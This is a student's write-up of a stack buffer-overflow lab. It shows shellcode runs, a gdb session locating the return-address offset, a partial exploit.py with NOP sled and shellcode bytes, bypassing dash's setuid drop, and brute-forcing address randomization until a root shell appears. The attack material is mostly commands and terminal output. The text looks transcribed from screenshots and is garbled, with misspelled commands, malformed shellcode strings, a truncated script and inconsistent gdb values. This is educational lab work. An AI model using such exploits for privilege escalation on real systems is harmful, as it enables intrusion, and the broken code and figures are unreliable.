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# **Task 1: Running Shellcode**

Afte running both a32.out and a64.out, I got the user shell and for both cases uid is 1000.

```
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ sudo syscTl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ sudo ln -sf /bin/zsh /bin/sh
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ nano call_shellcode.c
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ nano Makefile
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ ./a32.out
$ id
uid=1000(hira) gid=1000(hira) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)
$ quit
zsh: command not found: quit
$ exit
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ ./a64.out
$ id
uid=1000(hira) gid=1000(hira) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)
$ exit
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ ./a64.out
$ exit
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ ./a64.out
$ id
uid=1000(hira) gid=1000(hira) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)
$ exit
hira@hira-HP-ENVY-m6-Notebook-PC:~/Desktop/LAB_3$ ./
```

## Task 2: Launching Attack on 32-bit Program

#### 2.a: Screenshot of gdb debug session

```
CNU gdb (Ubuntu 9.2-Oubuntu1-20.04.1) 9.2

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This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "x86_64-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<a href="http://www.gnu.org/software/gdb/bugs/">http://www.gnu.org/software/gdb/bugs/</a>

Find the GDB manual and other documentation resources online at:

<a href="http://www.gnu.org/software/gdb/documentation/">http://www.gnu.org/software/gdb/documentation/</a>

For help, type "help".

Type "apropos word" to search for commands related to "word"...

Reading symbols from stack-dbg...

(gdb) b bof

Breakpoint 1 at 0x122d: file stack.c, line 6.

(gdb) run

Starting program: /home/hira/Desktop/LAB_3/stack-dbg

Breakpoint 1, bof (str=0xffffcf77 "") at stack.c:6

warning: Source file is more recent than executable.

(gdb) p sebp

$1 = (void *) 0xffffcf58

(gdb) p $buffer

$2 = (char (*)[163]) 0xffffcead

(gdb) p/d 0xffffcf58 - 0xffffcead

(gdb) p/d 0xffffcf58 - 0xffffcead

(gdb) p/d outt

A debugging session is active.

Inferior 1 [process 9857] will be killed.

Quit anyway? (y or n) y
```

### 2.b: Screenshpt of terminal showing root shell after exploiting the program

2.c: start= 0xffffcf58 ret=0xffffcf58 + 183 offset= 175

From the dbg, we get the starting address of the buffer address and its 0xffffcf58. Distance between ebp and starting of the buffer is 175.So return addres will be ebp+8= 0xffffcf58 + 175+8=0xffffcf58 + 183. And offset value will be 175.

# 2.d: Here is the source code of exploit.py

```
#!/usr/bin/python3
#"\x31\xc0"
import sys
shellcode= (
 \xb0\xd5"
 '\x31\xc0"
 '\x89\xe3"
 "\xb0\x0b"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
start =517- len(shellcode)
# I Need to change I
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret= 0xffffcf58 + 183
```

## Task 3: Defeating dash's Countermeasure

3.a: when I run the shellcode without setuid(0), I got the user (\$) shell, where uid was 1000. But, when I run with the setuid(0), uid became 0 and I got the root (#) shell.

3.b: Screenshot of the output of a32.out and a64.out

```
hira@hira-HP-ENVY-m6-Notebook-PC:-/Desktop/LAB_3$ nano call_shellcode.c
hira@hira-HP-ENVY-m6-Notebook-PC:-/Desktop/LAB_3$ make setuid
gcc -m32 · z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chown a32.out a64.out
hira@hira-HP-ENVY-m6-Notebook-PC:-/Desktop/LAB_3$ ./a32.out
# id
uid=0(root) gid=1000(hira) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)
# exit
hira@hira-HP-ENVY-m6-Notebook-PC:-/Desktop/LAB_3$ ./a64.out
# id
uid=0(root) gid=1000(hira) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)
# exit
hira@hira-HP-ENVY-m6-Notebook-PC:-/Desktop/LAB_3$ ./a64.out
# id
uid=0(root) gid=1000(hira) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)
# exit
hira@hira-HP-ENVY-m6-Notebook-PC:-/Desktop/LAB_3$ .
```

- 3.c: After adding the shellcode to task2 shellcode, we can see that uid becomes root and we got the root shell.
- 3.d: Screenshot of the root shell obtained

```
hiraghira-HP-ENVY-n6-Notebook-PC:~/Desktop/LAB_3$ nano exploit.py
hiraghira-HP-ENVY-n6-Notebook-PC:~/Desktop/LAB_3$ gcc -m32 -o stack -z execstack -fno-stack-protector stack.c
hiraghira-HP-ENVY-n6-Notebook-PC:~/Desktop/LAB_3$ sudo chown root stack
hiraghira-HP-ENVY-n6-Notebook-PC:~/Desktop/LAB_3$ sudo chown root stack
hiraghira-HP-ENVY-n6-Notebook-PC:~/Desktop/LAB_3$ sudo chowd 4755 stack
hiraghira-HP-ENVY-n6-Notebook-PC:~/Desktop/LAB_3$ ./exploit.py
hiraghira-HP-ENVY-n6-Notebook-PC:~/Desktop/LAB_3$ ./exploit.py
hiraghira-HP-ENVY-n6-Notebook-PC:~/Desktop/LAB_3$ ./stack

# id
uid=0(root) gid=1000(hira) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)
# exit
hiraghira-HP-ENVY-n6-Notebook-PC:~/Desktop/LAB_3$ ls -l /bin/sh /bin/zsh /bin/dash
-rwxr-xr-x 1 root root 129816 Jul 18 2019 /bin/dash
-rwxr-xr-x 1 root root 578288 Mar 11 10:38 /bin/zsh
hiraghira-HP-ENVY-n6-Notebook-PC:~/Desktop/LAB_3$ ]
```

## Task 4: Defeating Address Randomization

4.a: I run the sh file in 64 bit Linux machines. It takes about 97 minutes and 19394 tries to get the address correct and finally we got the root shell.

#### 4.b: Screenshot of the terminal

```
96 minutes and 36 seconds elapsed.
The program has been running 19390 times so far.
./task4.sh: line 12: 59056 Segmentation fault
                                                   (core dumped) ./stack
96 minutes and 37 seconds elapsed.
The program has been running 19391 times so far.
./task4.sh: line 12: 59058 Segmentation fault
                                                   (core dumped) ./stack
96 minutes and 37 seconds elapsed.
The program has been running 19392 times so far.
./task4.sh: line 12: 59060 Segmentation fault
                                                   (core dumped) ./stack
96 minutes and 37 seconds elapsed.
The program has been running 19393 times so far.
./task4.sh: line 12: 59062 Segmentation fault
                                                   (core dumped) ./stack
96 minutes and 37 seconds elapsed.
The program has been running 19394 times so far.
# id
uid=0(root) gid=1000(hira) groups=1000(hira),4(adm),24(cdrom),27(sudo),30(dip)
,46(plugdev),120(lpadmin),132(lxd),133(sambashare)
```